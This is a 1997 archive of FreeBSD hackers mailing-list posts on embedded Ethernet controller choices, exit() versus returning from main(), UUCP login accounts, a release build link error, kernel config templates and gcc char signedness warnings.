msmith@atrad.adelaide.edu.au, dgy@rtd.com, freebsd-hackers@freefall.FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Don Yuniskis stands accused of saying: > > Haven't yet decided since that would be a daughterboard, > anyway. BTW, the SC400 includes support for direct drive > of an LCD display, etc. It *could* be kludged to drive > a CRT with a small effort... ... so it has an onboard video controller of some sort? > > DMA is not common with NICs. Shared memory (usually controlled by > > the NIC) and programmed I/O are the norm. > > Yes. Those NIC's that support DMA tend to be bus-mastering > themselves -- hence my problem! The Crystal parts do slave DMA, but that's generally too slow to be useful. > AMD's devices that are interesting all want to be bus masters. > Some of SMC's newer parts are somewhat appealing (10Base* > devices with integrated RAM, etc.). Still no clear cut "winners", > though... it's unfortunate that all the [34]86 MCU's have either > missing DRAM controllers or poor/nonexistent support for > bus mastering (obviously because they would have to drive the bus > back *into* the MCU core...) TBH, unless you desperately need 100Mbps ethernet performance, a PIO-only solution using an 8390-family part (private SRAM) or even one using shared memory (remember that the 8390-family parts take most of the work out of arbitrating for the RAM, check the datasheets) will give you a very high-performance 10Mbps solution at low cost/complexity. The "smaller" solutions like the SMC and Crystal parts are short on features (less packet RAM most significantly), and IMHO they're not suitable if performance is an issue. > thx! > --don > -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sat May 31 21:42:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA05529 for hackers-outgoing; Sat, 31 May 1997 21:42:37 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA05524 for ; Sat, 31 May 1997 21:42:34 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id VAA10746; Sat, 31 May 1997 21:42:54 -0700 (PDT) To: Steve Howe cc: "Kevin P. Neal" , freebsd-hackers Subject: Re: Borland 16bit bcc vs cc/gcc (float) In-reply-to: Your message of "Sat, 31 May 1997 19:10:53 -0800." Date: Sat, 31 May 1997 21:42:54 -0700 Message-ID: <10742.865140174@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > own stack. further, from what i gather, it's good to call exit() on a > real OS when you finish a program in case there a hidden/extraneous > clean-up functions that need to be completed. and since exit doesn't Uh, this is all just a shameless attempt at justification-after-the-fact, I'm sorry. ;-) Calling exit() gratuitously when you're not explicitly trying to indicate a short-cut is just bad programming style and any instructions gained are more than offset by the general obfuscation added by calling exit() on any grounds other than "we really need to bail out NOW", which is the more general interpretation of it in the field. Main returns a value, OK? Get used to it. ;-) Also, as others have pointed out, you won't call the destructions for things which are going out of scope in main() if you just call exit() in a C++ program, so it's also a pretty evil habit to get into just on the grounds of transition shock alone. Please, there are impressionable youngsters on this mailing list and I'll thank you to keep your odd C perversions hidden away in private, where they belong! ;-) :-) Jordan From owner-freebsd-hackers Sat May 31 21:48:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA05662 for hackers-outgoing; Sat, 31 May 1997 21:48:01 -0700 (PDT) Received: from techunix.technion.ac.il (mellon@techunix.technion.ac.il [132.68.1.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA05638 for ; Sat, 31 May 1997 21:47:55 -0700 (PDT) Received: (from mellon@localhost) by techunix.technion.ac.il (8.8.5/8.8.5) id HAA23448; Sun, 1 Jun 1997 07:47:41 +0300 (IDT) Message-ID: <19970601074740.37058@techunix.technion.ac.il> Date: Sun, 1 Jun 1997 07:47:40 +0300 From: Anatoly Vorobey To: hackers@freebsd.org Subject: Re: Borland 16bit bcc vs cc/gcc (float) References: <1.5.4.32.19970531220152.008b46f0@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.64 X-Disclaimer: I was young, I needed the money! Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk You, Steve Howe, wrote on Sat, May 31, 1997 at 07:10:53PM -0800: > further, from what i gather, it's good to call exit() on a > real OS when you finish a program in case there a hidden/extraneous > clean-up functions that need to be completed. exit() will get called anyway. When you return from main(), you return to startup code of libc, which will usually call exit(). In some C libs, you actually lose not just main()'s destructors, as the code in startup function might perform some cleaing up _before_ calling exit(), although I haven't seen this behaviour on sane systems/libs. > and since exit doesn't > return to main, any return in main is a waste of code. it might also give > someone the wrong idea that main actually does return something. But of course it does. The return value of main() is passed as the arg to exit() and then to the parent process. > > In fact, I've observed C++ code that never calls the destructors if you > > exit() of out a program. > > > > This is one of my favorite rants. I gave a friend of mine the 15 minute > > explanation of why void main() is wrong, and he told his instructor. She > > placed him out of her class and into the next one up. > > i'm just saying it's not an absolute. Ah, but what is an absolute? ;) A friend of mine used to despise main(). He said it was too common and wasn't creative enough. So he hacked libc to link to moose() instead of main() and his programs didn't have main() in them, which drove crazy everyone who tried to read the code. After I pointed out to him that his solution was a moral equivalent of #define moose main, he abandoned libc altogether, passing moose() as entry point directly by using an ld option, and went through a short period of using raw syscalls for i/o... -- Anatoly Vorobey, mellon@pobox.com http://pobox.com/~mellon/ "Angels can fly because they take themselves lightly" - G.K.Chesterton From owner-freebsd-hackers Sat May 31 21:51:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA05812 for hackers-outgoing; Sat, 31 May 1997 21:51:15 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA05807 for ; Sat, 31 May 1997 21:51:11 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA17364; Sun, 1 Jun 1997 00:50:09 -0400 Received: from rtd.com by dg-rtp.dg.com.rtp.dg.com; Sun, 1 Jun 1997 00:50 EDT Received: from dg-rtp.UUCP (uucp@localhost) by ponds.water.net (8.8.5/8.7.3) with UUCP id SAA21547 for FreeBSD.ORG!hackers; Sat, 31 May 1997 18:27:18 -0400 (EDT) Received: from seagull.rtd.com by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AB04208; Sat, 31 May 1997 13:55:56 -0400 Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id KAA03529; Sat, 31 May 1997 10:55:55 -0700 (MST) From: Don Yuniskis Message-Id: <199705311755.KAA03529@seagull.rtd.com> Subject: Re: uucp uid's To: ponds!ponds!rivers (Thomas David Rivers) Date: Sat, 31 May 1997 10:55:54 -0700 (MST) Cc: ponds!rtd.com!dgy, ponds!ponds!Mole.ORG!mrm, ponds!ponds!rtd.com!dgy, ponds!ponds!FreeBSD.ORG!hackers, ponds!ponds!uriah.heep.sax.de!joerg_wunsch In-Reply-To: <199705311124.HAA15341@lakes.water.net> from "Thomas David Rivers" at May 31, 97 07:24:46 am X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that Thomas David Rivers said: > > Yes. And a good deal of the population doesn't have direct IP > > connectivity, etc. > > > > --don > > Yes - I'd have to agree - since UUCP is my primary connection to > the-rest-of-the-world. > > By the way, I've had as many as 16 UUCP neighbors. In recent years, > this has dwindled to about 3 or 4. > > I gave each a separate account (so they could each have their own > passwd and UID.) e.g.: [argh! I'll avoid the "account", "uid", "login", etc. semantic issue...] > Uxxxxx for machine 'xxxxx' > Uyyyyy for machine 'yyyyy' > Uzzzzz for machine 'zzzzz' I opted for a lowercase `u' primarily so mail to that login gets handled well. > but they have the same home directory. One advantage of this is that, > at any given time, I can see who is dialed in and decide if I want > to kick them off to use the modem myself :-) (just use who.) Ah, never thought of *that*! :> --don From owner-freebsd-hackers Sat May 31 22:24:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA06923 for hackers-outgoing; Sat, 31 May 1997 22:24:14 -0700 (PDT) Received: from sendero.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA06917; Sat, 31 May 1997 22:24:09 -0700 (PDT) Received: (from shimon@localhost) by sendero.i-connect.net (8.8.5/8.8.5) id WAA05306; Sat, 31 May 1997 22:24:13 -0700 (PDT) Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sat, 31 May 1997 22:24:13 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: FreeBSD-stable@freebsd.org, freebsd-hackers@freebsd.org Subject: Make Release Question Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi there, Make release produces: cc -static -o boot_crunch boot_crunch.o sh.lo find.lo pwd.lo ft.lo ppp.lo sysinstall.lo newfs.lo gzip.lo cpio.lo bad144.lo fsck.lo ifconfig.lo route.lo slattach.lo mount_nfs.lo -ll -ledit -lutil -lkvm -lmd -lcrypt -lftpio -lalias -ldialog -lncurses -lmytinfo -L/usr/src/release/libdisk/obj -ldisk -lipx ppp.lo: Undefined symbol `_dlopen' referenced from text segment ppp.lo: Undefined symbol `_dlerror' referenced from text segment ppp.lo: Undefined symbol `_dlerror' referenced from text segment ppp.lo: Undefined symbol `_dlclose' referenced from text segment ppp.lo: Undefined symbol `_dlsym' referenced from text segment ppp.lo: Undefined symbol `_dlclose' referenced from text segment *** Error code 1 Stop. >From RELENG_2_2 of 30-May-97. Twice. The building system is RELENG_2_2 of the same date. Make world completed perfectly. Simon From owner-freebsd-hackers Sat May 31 22:24:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA06943 for hackers-outgoing; Sat, 31 May 1997 22:24:18 -0700 (PDT) Received: from sendero.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA06924 for ; Sat, 31 May 1997 22:24:14 -0700 (PDT) Received: (from shimon@localhost) by sendero.i-connect.net (8.8.5/8.8.5) id WAA05307; Sat, 31 May 1997 22:24:13 -0700 (PDT) Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <9876.865110612@time.cdrom.com> Date: Sat, 31 May 1997 22:24:13 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: "Jordan K. Hubbard" Subject: RE: LINT and GENERIC - between a rock and a generic place. Cc: hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi "Jordan K. Hubbard"; On 31-May-97 you wrote: > More and more people are trying to use GENERIC as a template for their > own kernels and they're losing, of course, because generic sets many > limits (like max children or open files) too low. ... > How shall we conduct the debate this time? Same old same old, or > something genuinely productive? :-) I say ``same old''. Heck with ``something genuinely productive'' :-) A bit more seriously, I think there is merit in both approaches. A set of canned something genuinely productive are positive, relatively easy to come up with (too easy?) and will be very helpful to many. A spiffy front end will satisfy those who like this kind of things. Myself? It took me only few minutes to figure out the syntax of the config files. WHAT goes in one is not trivial, though. A gui tool that can either pick an existing purpose configuration (or another) and dump it into a simple screen is probably a nice idea. I actually used the Linux xconfig and admit to liking it. The Linux config file is very different from ours, so there is more incentive there. I am using our ``broken'' (?) config files daily and have not much problem with them. I say that those who like purpose configuration files should build and test some and let's put them in the source tree (how about a make release enhancement to build them all as boot floppies?). Those who like a gui, please build one and lets bad mouth it once it is done ;-). just try to remember that, at times (albeit rare) X11 may not be available, but kernel configuration may still be desired. All the above is worth $0.02 or less. simon From owner-freebsd-hackers Sat May 31 22:54:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA07930 for hackers-outgoing; Sat, 31 May 1997 22:54:31 -0700 (PDT) Received: from iceberg.anchorage.net. (root@iceberg.anchorage.net [207.14.72.150]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA07923 for ; Sat, 31 May 1997 22:54:28 -0700 (PDT) Received: from aak.anchorage.net (ai-131 [207.14.72.131]) by iceberg.anchorage.net. (8.6.11/8.7.3) with SMTP id UAA02456 for ; Sat, 31 May 1997 20:51:10 -0800 Date: Sat, 31 May 1997 21:43:53 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: freebsd-hackers Subject: signed/unsigned cpp Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk how can this be? i changed my argument to "signed char *" and gcc doesn't like it. so i change it to "unsigned char *" and gcc doesn't like it either! gcc wants to have it's cake and eat it too! it doesn't mind "char *" though. so what's wrong with adding "signed" or "unsigned"? unix.cpp: In function `long unsigned int flen(unsigned char *)': unix.cpp:249: warning: passing `signed char *' as argument 1 of `fopen(const char *, const char *)' changes signedness unix.cpp: In function `long unsigned int flen(unsigned char *)': unix.cpp:249: warning: passing `unsigned char *' as argument 1 of `fopen(const char *, const char *)' changes signedness ------------------------------------------------------------------------- Sleep: a sign a caffeine deprivation ... http://www.anchorage.net/~un_x ------------------------------------------------------------------------- From owner-freebsd-hackers Sat May 31 23:46:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA09548 for hackers-outgoing; Sat, 31 May 1997 23:46:13 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA09542 for ; Sat, 31 May 1997 23:46:10 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id QAA12329; Sun, 1 Jun 1997 16:15:55 +0930 (CST) From: Michael Smith Message-Id: <199706010645.QAA12329@genesis.atrad.adelaide.edu.au> Subject: Re: signed/unsigned cpp In-Reply-To: from Steve Howe at "May 31, 97 09:43:53 pm" To: un_x@anchorage.net (Steve Howe) Date: Sun, 1 Jun 1997 16:15:55 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe stands accused of saying: > > how can this be? i changed my argument to > "signed char *" and gcc doesn't like it. so i change it to > "unsigned char *" and gcc doesn't like it either! gcc wants to > have it's cake and eat it too! it doesn't mind "char *" though. > > so what's wrong with adding "signed" or "unsigned"? Because neither is equivalent to the "default" signedness. const char * is _not_ equivalent to const unsigned char *, or const signed char *. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sat May 31 23:47:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA09614 for hackers-outgoing; Sat, 31 May 1997 23:47:59 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA09608 for ; Sat, 31 May 1997 23:47:50 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id QAA12346; Sun, 1 Jun 1997 16:17:36 +0930 (CST) From: Michael Smith Message-Id: <199706010647.QAA12346@genesis.atrad.adelaide.edu.au> Subject: Re: Applixware hangs In-Reply-To: from "Alex.Boisvert" at "May 31, 97 11:56:22 pm" To: boia01@pollux.GEL.USherb.CA (Alex.Boisvert) Date: Sun, 1 Jun 1997 16:17:36 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alex.Boisvert stands accused of saying: > > I just wanted to let you know that I cvsup`ed 2.2-STABLE today and > recompiled my kernel... and Applixware now works! > > Have you recently made changes to getdents() in the linux emulator? No. There were some vm changes recently that _may_ have been applicable though, so perhaps that's the cure. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sat May 31 23:57:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA10017 for hackers-outgoing; Sat, 31 May 1997 23:57:34 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA10010 for ; Sat, 31 May 1997 23:57:27 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id QAA12401; Sun, 1 Jun 1997 16:27:18 +0930 (CST) From: Michael Smith Message-Id: <199706010657.QAA12401@genesis.atrad.adelaide.edu.au> Subject: Re: LINT and GENERIC - between a rock and a generic place. In-Reply-To: <9876.865110612@time.cdrom.com> from "Jordan K. Hubbard" at "May 31, 97 01:30:12 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 1 Jun 1997 16:27:17 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard stands accused of saying: > > 1. Someone starts off the discussion with "Well, why don't we just make up > some canned NEWS_SERVER, DESKTOP, WEB_SERVER and so on config files? > We can put comments at the beginning of each about how the user should > customize that file to fit certain situations and Bob's your bloody > uncle, we're there!" Do it. > Things would probably progress well from there if it weren't for the > stage-II participants in this discussion who then come up and say: I'm at least partly guilty here. I hereby promise to keep silent until I have something to show for all my ranting. > Jordan -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[